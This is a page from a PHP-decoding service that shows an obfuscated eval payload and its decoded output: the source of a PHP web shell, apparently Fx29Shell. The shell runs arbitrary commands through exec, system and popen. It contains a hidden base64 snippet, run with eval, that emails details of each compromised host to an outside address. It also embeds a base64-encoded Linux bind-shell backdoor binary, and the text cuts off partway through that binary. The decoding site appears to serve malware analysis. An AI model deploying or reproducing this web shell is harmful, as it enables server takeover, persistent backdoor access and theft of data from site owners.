Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval("?>".gzuncompress(base64_decode("eJzUvWmT4kiyKPp9zOY/5OTte6r6Vk2nxJIFvZ2WBAKJVQgJwZy5..

Decoded Output download

?>b'<?
$sh_id = "LT1dIGZ4MCBbPS0=";
$sh_name = base64_decode($sh_id);
$sh_mainurl = "http://fx0.name";
$html_start = \'<html><head>
<title>\'.getenv("HTTP_HOST").\' - \'.$sh_name.\'</title>
<style type="text/css">
<!--
body,table { font-family:verdana;font-size:11px;color:#003300;background-color:black; }
table { width:100%; }
.carapa tr:hover{background-color:silver}
table,td { border:1px solid black;margin-top:2;margin-bottom:2;padding:5px; }
a { color:#00FF00;text-decoration:none; }
a:active { color:#00FF00; }
a:link { color:#5B5BFF; }
a:hover { text-decoration:underline; }
a:visited { color:#99CCFF; }
input,select,option { font:8pt tahoma;color:white;margin:2;border:1px solid lime; }
textarea { color:lime;font:verdana bold;border:1px solid lime;margin:2; }
.fleft { float:left;text-align:left; }
.fright { float:right;text-align:right; }
#pagebar { font:8pt tahoma;padding:5px; border:3px solid black; border-collapse:collapse; }
#pagebar td { vertical-align:top; }
#pagebar p { font:8pt tahoma;}
#pagebar a { font-weight:bold;color:#00FF00; }
#pagebar a:visited { color:#00CE00; }
#mainmenu { text-align:center; }
#mainmenu a { text-align: center;padding: 0px 5px 0px 5px; }
#maininfo,.barheader,.barheader2 { text-align:center; }
table tr:hover{color:#00FF00;text-decoration:none; background-color:#003300}
#maininfo td { padding:3px; }
.barheader { font-weight:bold;padding:5px; }
.barheader2 { padding:5px;border:2px solid black; }
.contents,.explorer { border-collapse:collapse;}
.contents td { vertical-align:top; }
.mainpanel { border-collapse:collapse;padding:5px; }
.barheader,.mainpanel table,td { border:1px solid green; }
.mainpanel input,select,option { border:1px solid black;margin:0; }
input[type="submit"] { border:1px solid lime; }
input[type="text"] { padding:3px;}
.shell { background-color:black;color:black;padding:5px; }
.fxerrmsg { color:red; font-weight:bold; }
#pagebar,#pagebar p,h1,h2,h3,h4,form { margin:0; }
#pagebar,.mainpanel,input[type="submit"] { background-color:black; }
.barheader2,input,select,option,input[type="submit"]:hover { background-color:black; }
textarea,.mainpanel input,select,option { background-color:#000000; }
// -->
</style>
</head>
<body>
\';
$login = ""; 
$pass = "";
$md5_pass = "";
$host_allow = array("*"); 
$login_txt = "Restricted Area"; 
$accessdeniedmess = "<body bgcolor=black><a href=\"$sh_mainurl\"><font color=lime>".$sh_name."</font></a>: <font color=red>access denied</font></body>";
$gzipencode = TRUE;
$filestealth = TRUE; 
$curdir = "./";
$tmpdir = ""; 
$tmpdir_log = "./";
$log_email = "[email protected]"; 
$sort_default = "0a"; 
$sort_save = TRUE; 
$sess_cookie = "capriv8vars"; 
$usefsbuff = TRUE; 
$copy_unset = FALSE; 
$hexdump_lines = 8;
$hexdump_rows = 24;
$win = strtolower(substr(PHP_OS,0,3)) == "win";
$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc)) {
  $disablefunc = str_replace(" ","",$disablefunc);
  $disablefunc = explode(",",$disablefunc);
}
function get_phpini() {
  function U_wordwrap($str) {
    $str = @wordwrap(@htmlspecialchars($str), 100, \'<wbr />\', true);
    return @preg_replace(\'!(&[^;]*)<wbr />([^;]*;)!\', \'$1$2<wbr />\', $str);
  }
  function U_value($value) {
    if ($value == \'\') return \'<i>no value</i>\';
    if (@is_bool($value)) return $value ? \'TRUE\' : \'FALSE\';
    if ($value === null) return \'NULL\';
    if (@is_object($value)) $value = (array) $value;
    if (@is_array($value)) {
      @ob_start();
      print_r($value);
      $value = @ob_get_contents();
      @ob_end_clean();
    }
    return U_wordwrap((string) $value);
  }
  if (@function_exists(\'ini_get_all\')) {
    $r = "";
    echo "<table><tr class=barheader><td>Directive</td><td>Local Value</td><td>Global Value</td></tr>";
    foreach (@ini_get_all() as $key=>$value) {
      $r .= "<tr><td>".$key."</td><td><div align=center>".U_value($value[\'local_value\'])."</div></td><td><div align=center>".U_value($value[\'global_value\'])."</div></td></tr>";
    }
    echo $r;
    echo "</table>";
  }
}
function disp_drives($curdir,$surl) {
  $letters = "";
  $v = explode("\",$curdir);
  $v = $v[0];
  foreach (range("A","Z") as $letter) {
    $bool = $isdiskette = $letter == "A";
    if (!$bool) {$bool = is_dir($letter.":\");}
    if ($bool) {
      $letters .= "<a href=\"".$surl."x=ls&d=".urlencode($letter.":\")."\"".
      ($isdiskette?" onclick=\"return confirm(\'Make sure that the diskette is inserted properly, otherwise an error may occur.\')\"":"")."> [";
      if ($letter.":" != $v) {$letters .= $letter;}
      else {$letters .= "<font color=yellow>".$letter."</font>";}
      $letters .= "]</a> ";
    }
  }
  if (!empty($letters)) {Return $letters;}
  else {Return "None";}
}
if (is_callable("disk_free_space")) {
  function disp_freespace($curdrv) {
    $free = disk_free_space($curdrv);
    $total = disk_total_space($curdrv);
    if ($free === FALSE) {$free = 0;}
    if ($total === FALSE) {$total = 0;}
    if ($free < 0) {$free = 0;}
    if ($total < 0) {$total = 0;}
    $used = $total-$free;
    $free_percent = round(100/($total/$free),2)."%";
    $free = view_size($free);
    $total = view_size($total);
    return "$free of $total ($free_percent)";
  }
}
if (!function_exists("myshellexec")) {
  if(is_callable("popen")) {
    function myshellexec($cmd) {
      if (!($p=popen("($cmd)2>&1","r"))) { return "popen Disabled!"; }
      while (!feof($p)) {
        $line=fgets($p,1024);
        $out .= $line;
      }
      pclose($p);
      return $out;
    }
  } else {
    function myshellexec($cmd) {
      global $disablefunc;
      $result = "";
      if (!empty($cmd)) {
        if (is_callable("exec") and !in_array("exec",$disablefunc)) {
          exec($cmd,$result);
          $result = join("
",$result);
        } elseif (($result = $cmd) !== FALSE) {
        } elseif (is_callable("system") and !in_array("system",$disablefunc)) {
          $v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;
        } elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {
          $v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;
        } elseif (is_resource($fp = popen($cmd,"r"))) {
          $result = "";
          while(!feof($fp)) { $result .= fread($fp,1024); }
          pclose($fp);
        }
      }
      return $result;
    }
  }
}
function ex($cfe) {
  $res = \'\';
  if (!empty($cfe)) {
    if(function_exists(\'exec\')) {
      @exec($cfe,$res);
      $res = join("
",$res);
    } elseif(function_exists(\'shell_exec\')) {
      $res = @shell_exec($cfe);
    } elseif(function_exists(\'system\')) {
      @ob_start();
      @system($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    } elseif(function_exists(\'passthru\')) {
      @ob_start();
      @passthru($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    } elseif(@is_resource($f = @popen($cfe,"r"))) {
      $res = "";
      while(!@feof($f)) { $res .= @fread($f,1024); }
      @pclose($f);
    } else { $res = "Ex() Disabled!"; }
  }
  return $res;
}
function which($pr) {
  $path = ex("which $pr");
  if(!empty($path)) { return $path; } else { return $pr; }
}

$hostname_x = php_uname(n);
$itshome = getcwd();
if (!$win) {
  $itshome = str_replace("/home/","~",$itshome);
  $itshome = str_replace("/public_html","/ca.php",$itshome);
}
else { $itshome = ""; }
$enumerate = "http://".$hostname_x."/".$itshome."";


$Lversion = php_uname(r);
$OSV = php_uname(s);

$shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJvc3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7IEBtYWlsKCJzcGlkZXIucjBvdEBnbWFpbC5jb20iLCJGeDI5U2hlbGwgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiLCAiJGJvZHkiKTsgfSBlbHNlIHsgJHZpc2l0Y291bnQ7IH0gc2V0Y29va2llKCJ2aXNpdHMiLCR2aXNpdGNvdW50KTs="; eval(base64_decode($shell_data));
$backdoor = "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lb